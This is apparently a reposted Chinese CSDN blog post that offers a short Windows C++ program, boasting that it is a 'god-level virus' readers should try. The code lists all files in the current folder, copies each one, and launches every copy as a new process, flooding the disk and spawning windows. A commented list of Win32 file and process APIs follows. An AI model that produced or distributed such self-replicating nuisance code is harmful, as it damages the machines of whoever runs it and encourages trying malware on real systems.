神级病毒,不信你试试

#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
void EnumFile(){
	HANDLE a;
	WIN32_FIND_DATA b;
	TCHAR c[100];
	PROCESS_INFORMATION hh;
	STARTUPINFOA hhh={sizeof(hh)};
	hhh.wShowWindow=true;
	hhh.dwFlags=STARTF_USESHOWWINDOW;
	a=FindFirstFile("*.*",&b);
	do{
		if(a==INVALID_HANDLE_VALUE)break;
		wsprintf(c,"new_%s",b.cFileName);
		CopyFile(b.cFileName,c,false);
		CreateProcess(NULL,c,NULL,NULL,false,CREATE_NEW_CONSOLE,NULL,NULL,&hhh,&hh);
	}
	while(FindNextFile(a,&b));
	FindClose(a);
}
int main(){
	//freopen("","r",stdin);
	//freopen("","w",stdout);
	EnumFile();
	return 0;
}
/*
CopyFile()
CreateFile()
DeleteFile()
FindClose()
FindFirstFile()
FindNextFille()
GetFileInformationByHandle()
CreateFileMapping()
GetFileType()
GetWindowsDirectory()
CreateProcess()
lread()
lwrite()
lopen()
llseek()
MoveFile()
ReadFile()
HANDLE fuckit=OpenProcess(PROCESS_TERMINATE,FALSE,hh.dwProcessId);
TerminateProcess(fuckit,0);
*/ 

猜你喜欢

转载自blog.csdn.net/zjy_code/article/details/81053183